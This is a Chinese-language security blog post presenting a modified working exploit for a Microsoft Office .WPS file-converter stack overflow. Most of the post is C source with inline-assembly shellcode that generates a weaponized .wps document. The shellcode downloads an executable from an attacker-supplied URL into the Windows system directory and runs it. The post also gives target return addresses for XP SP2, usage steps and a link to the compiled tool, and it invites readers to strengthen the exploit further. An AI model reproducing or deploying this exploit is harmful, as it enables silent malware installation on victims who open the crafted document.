文章作者:mika 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
前两天就看到这个exp了,漏洞本身俺就不多说了,非常简单的栈溢出,exp都给了用od或者windbg跟一下就出来了,这里俺要非常感谢gyzy 哥哥对俺的帮助,当俺一拿到exp的时候就非常庆幸,感觉会很容易修改(事实也是如此),于是俺就修改了ret地址,然后把俺原来用的shellcode (下载执行的)替换exp里执行calc的,但是没有成功,word一闪而过,也没报错也没下载。然后再看了看原exp的shellcode,发现是 alpha2编码过的,于是俺想当然的以为俺的shellcode也得编码,可是编码发现还是不能运行而且出现错误了,俺单独把编码过的 shellcode拿出来执行却能成功,百思不得其解不得不求助俺bf,他让俺自己去找人请教,俺只好上qq求助gyzy哥哥了,哥哥就是哥哥啊,说 shellcode有问题于是给了俺一个lion牛牛写的那个经典的下载执行的shellcode,俺换上去一试果然就行了。痛苦啊!~~~在此向 gyzy还有lion哥哥们致敬!
关于这个漏洞的测试俺需要说明一下,漏洞是因为office在打开wps格式的文件进行转换时出现了漏洞,所以需要安装转换器。不过我在安装office 2003的时候默认是安装了转换器的。测试的时候先打开offie然后选择生成好的.wps文件即可(或者右键单击生成好的文件然后选择用winword打开)。 我添加了对简体中文和繁体中文系统的支持,在windows xp sp2+microsot office 2003 sp2上测试成功!
代码俺放在这里,非常简单:
#include <stdio.h> #include <winsock2.h> #include <windows.h>
#pragma comment(lib, “ws2_32”)
#define NOPS “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90” // Use for find the ASM code #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define SEARCH_STR “x90x90x90x90x90x90x90x90x90” #define SEARCH_LEN 8 #define MAX_SC_LEN 2048 #define HASH_KEY 13
// Define Decode Parameter #define DECODE_LEN 21 #define SC_LEN_OFFSET 7 #define ENC_KEY_OFFSET 11 #define ENC_KEY 0x99
// Define Function Addr #define ADDR_LoadLibraryA [esi] #define ADDR_GetSystemDirectoryA [esi+4] #define ADDR_WinExec [esi+8] #define ADDR_ExitProcess [esi+12] #define ADDR_URLDownloadToFileA [esi+16] //#define ADDR_URL edi
// Need functions unsigned char functions[100][128] = { // [esi] stack layout // kernel32 4 // 00 kernel32.dll {“LoadLibraryA”}, // [esi] {“GetTempPathA”}, // [esi+4]{“GetSystemDirectoryA”} {“WinExec”}, // [esi+8] {“ExitProcess”}, // [esi+12] //(“ExitThread”}, //{“TerminateProcess”}, // urlmon 1 // 01 urlmon.dll {“URLDownloadToFileA”}, // [esi+16] {""}, };
/* WPS Header */ unsigned char uszWpsHeader[] = “xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00” “x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00” “x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00” “x01x00x00x00xfexffxffxffx00x00x00x00x00x00x00x00” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xfdxffxffxffxfexffxffxffxfexffxffxffx04x00x00x00” “x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00” “xfexffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “x52x00x6fx00x6fx00x74x00x20x00x45x00x6ex00x74x00” “x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x16x00x05x00xffxffxffxffxffxffxffxffx01x00x00x00” “xb2x5axa4x0ex0ax9exd1x11xa4x07x00xc0x4fxb9x32xba” “x00x00x00x00x00x00x00x00x00x00x00x00xd0x10xb9x5f” “x53x8fxc7x01x03x00x00x00xc0x0ax00x00x00x00x00x00” “x43x00x4fx00x4ex00x54x00x45x00x4ex00x54x00x53x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x01x02x00x00x00x03x00x00x00xffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x0ax00x00x00x00x00x00” “x01x00x43x00x6fx00x6dx00x70x00x4fx00x62x00x6ax00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x28x00x00x00x56x00x00x00x00x00x00x00” “x53x00x50x00x45x00x4cx00x4cx00x49x00x4ex00x47x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00” “x00x00x00x00x2ax00x00x00x10x00x00x00x00x00x00x00” “x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00” “x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00” “x09x00x00x00x0ax00x00x00x0bx00x00x00x0cx00x00x00” “x0dx00x00x00x0ex00x00x00x0fx00x00x00x10x00x00x00” “x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00” “x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00” “x19x00x00x00x1ax00x00x00x1bx00x00x00x1cx00x00x00” “x1dx00x00x00x1ex00x00x00x1fx00x00x00x20x00x00x00” “x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00” “x25x00x00x00x26x00x00x00x27x00x00x00xfexffxffxff” “x29x00x00x00xfexffxffxffxfexffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff” “x43x48x4ex4bx57x4bx53x20x04x00x08x00x0ex00x00x03” “x00x02x00x00x00x0ax00x00xf8x01x0ex00xffxffxffxff” “x18x00x54x45x58x54x00x00x2fx00x00x00x00x00x00x00” “x00x00x00x00x00x00x00x00x00x00x00x00x00x00”;
char szIntro[] =
”[+] Targets:
”
” (1) Windows XP SP2 ntdll.dll DE jmpesp
”
” (2) Windows XP SP2 ntdll.dll CN&TW jmpesp
”
“Usage: wps.exe
struct { const char szTarget; unsigned char uszRet[5]; }targets[] = { {“Windows XP SP2 DE ntdll.dll jmpesp”, “xEDx1Ex94x7C”},/ jmp esp */ {“Windows XP SP2 CN&TW ntdll.dll jmpesp”,“xEDx1Ex96x7C”}, }; // Shellcode string unsigned char sc[1024] = {0};
unsigned char url[256]={0};
// ASM shellcode main function void ShellCode();
// Get function hash static DWORD __stdcall GetHash ( char *c ) { DWORD h = 0;
while ( *c ) { __asm ror h, HASH_KEY
h += *c++; } return( h ); }
void Make_ShellCode() { unsigned char *pSc_addr; unsigned int Sc_len; unsigned int Enc_key=ENC_KEY; unsigned long dwHash[100]; unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash //printf(”[+] Get functions hash strings. ”); for (i=0;;i++) { if (functions[i][0] == ‘x0’) break; dwHash[i] = GetHash((char*)functions[i]); //printf(” %.8X %s ”, dwHash[i], functions[i]); } dwHashSize = i*4;
// Deal with shellcode pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k ) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash memcpy(sc+Sc_len, (char *)dwHash, dwHashSize); Sc_len += dwHashSize;
// Add url memcpy(sc+Sc_len, url, strlen(url)+1); Sc_len += strlen(url)+1;
// Print the size of shellcode. //printf(”[+] %d + %d + %d = %d bytes shellcode ”, DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len); // Print shellcode //PrintSc(sc, Sc_len);
// Deal with find the right XOR byte for(i=0xff; i>0; i—) { l = 0; for(j=DECODE_LEN; j<(int)Sc_len; j++) { if ( ((sc[j] ^ i) == 0x26) || //% ((sc[j] ^ i) == 0x3d) || //= ((sc[j] ^ i) == 0x3f) || //? ((sc[j] ^ i) == 0x40) || //@ ((sc[j] ^ i) == 0x00) || ((sc[j] ^ i) == 0x0D) || ((sc[j] ^ i) == 0x0A) ) // Define Bad Characters { l++; // If found the right XOR byte,l equals 0 break; }; }
if (l==0) { Enc_key = i;
//printf(”[+] Find XOR Byte: 0x%02X ”, i); for(j=DECODE_LEN; j<(int)Sc_len; j++) { sc[j] ^= Enc_key; }
break; // If found the right XOR byte, Break } }
// Deal with not found XOR byte if (l!=0) { printf(”[-] No xor byte found! ”); exit(-1); }
// Deal with DeCode string *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len; *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
// Print decode //printf(”/* %d bytes decode */ ”, DECODE_LEN); //PrintSc(sc, DECODE_LEN);
// Print shellcode //printf(”/* %d bytes shellcode, xor with 0x%02x / ”, Sc_len-DECODE_LEN, Enc_key); //PrintSc((char)sc+DECODE_LEN, Sc_len-DECODE_LEN); }
int main( int argc, char **argv ) { WSADATA wsa; FILE f; char szBuffer[102410]; WSAStartup(MAKEWORD(2,2),&wsa);
printf(” Microsoft Office .WPS Stack Overflow ” ” Adam Walker (c) 2007 ” ” Modified by Mika[EST] ”); if ( argc < 4 ) { printf(“%s ”, szIntro ); return 0; } memcpy(url,argv[3],strlen(argv[3])); printf(”[+] download url:%s ”, url); printf(”[+] Generating Shellcode… ”);
Make_ShellCode(); memset(szBuffer, 0x90, 1024*10); printf(”[+] Creating WPS header… ”); memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1 ); printf(”[+] Copying addr && nops && shellcode… ”); memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi(argv[1])-1].uszRet, 4 ); memcpy(szBuffer + sizeof( uszWpsHeader ) + 3,NOPS,16); memcpy( szBuffer + sizeof( uszWpsHeader ) + 3+16, sc, sizeof( sc ) - 1 );
f = fopen( argv[2], “wb” ); if ( f == NULL ) { printf(”[-] Cannot create file ”); return 0; }
fwrite( szBuffer, 1, sizeof( szBuffer) , f ); fclose( f ); printf(”[+] .WPS file succesfully created! ”); printf(”[+]Mika is telling you
’t play with fire!^_^ ”); return 0; }// ShellCode function void ShellCode() { __asm { PROC_BEGIN // C macro to begin proc //-------------------------------------------------------------------- // // DeCode // //-------------------------------------------------------------------- jmp short decode_end
decode_start: pop ebx // Decode start addr (esp -> ebx) dec ebx xor ecx,ecx mov cl,0xFF // Decode len
decode_loop: xor byte ptr [ebx+ecx],0x99 // Decode key loop decode_loop jmp short decode_ok
decode_end: call decode_start
decode_ok:
//-------------------------------------------------------------------- // // ShellCode // //-------------------------------------------------------------------- jmp sc_end
sc_start: pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr mov eax, fs:0x30 // PEB mov eax, [eax+0x0c] // PROCESS_MODULE_INFO mov esi, [eax+0x1c] // InInitOrder.flink lodsd // eax = InInitOrder.blink mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32 push 4 pop ecx
getkernel32: call GetProcAddress_fun loop getkernel32
// Get function addr of urlmon push 0x00006e6f push 0x6d6c7275 // urlmon push esp call ADDR_LoadLibraryA // LoadLibraryA(“urlmon”);
mov ebp, eax // ebp = urlmon.dll base address
/* push 1 pop ecx
geturlmon: call GetProcAddress_fun loop geturlmon */ call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA: sub esp, 0x300 mov ebx, esp
push ebx push 0x300 call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA: // eax = system path size // URLDownloadToFileA url save to a.exe mov dword ptr [ebx+eax], 0x7261725C // “a.e” mov dword ptr [ebx+eax+0x4], 0x6578652E // “xe” xor eax, eax push eax push eax push ebx // %systemdir%a.exe push edi // url push eax call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec: mov ebx, esp push eax push ebx call ADDR_WinExec // WinExec(%systemdir%a.exe);
Finished: //push 1 call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun: push ecx push esi
mov esi, [ebp+0x3C] // e_lfanew mov esi, [esi+ebp+0x78] // ExportDirectory RVA add esi, ebp // rva2va push esi mov esi, [esi+0x20] // AddressOfNames RVA add esi, ebp // rva2va xor ecx, ecx dec ecx
find_start: inc ecx lodsd add eax, ebp xor ebx, ebx
hash_loop: movsx edx, byte ptr [eax] cmp dl, dh jz short find_addr ror ebx, HASH_KEY // hash key add ebx, edx inc eax jmp short hash_loop
find_addr: cmp ebx, [edi] // compare to hash jnz short find_start pop esi // ExportDirectory mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA add ebx, ebp // rva2va mov cx, [ebx+ecx2] // FunctionOrdinal mov ebx, [esi+0x1C] // AddressOfFunctions RVA add ebx, ebp // rva2va mov eax, [ebx+ecx4] // FunctionAddress RVA add eax, ebp // rva2va stosd // function address save to [edi]
pop esi pop ecx ret
sc_end: call sc_start
PROC_END //C macro to end proc } }
编译好的程序俺也放上来了,用法很简单:
引用F: oolsexploit>wps2
Microsoft Office .WPS Stack Overflow Adam Walker (c) 2007 Modified by Mika[EST]
[+] Targets:
(1) Windows XP SP2 ntdll.dll DE jmpesp
(2) Windows XP SP2 ntdll.dll CN&TW jmpesp
Usage: wps.exe
wps.exe 目标系统语言类型 要生成的文件 要下载执行的url地址
OK~~简单吧,欢迎大家继续修改加强!再次对帮助过俺的人表示感谢!
[wps.rar](/blog/download.asp?id=48(18.54 KB)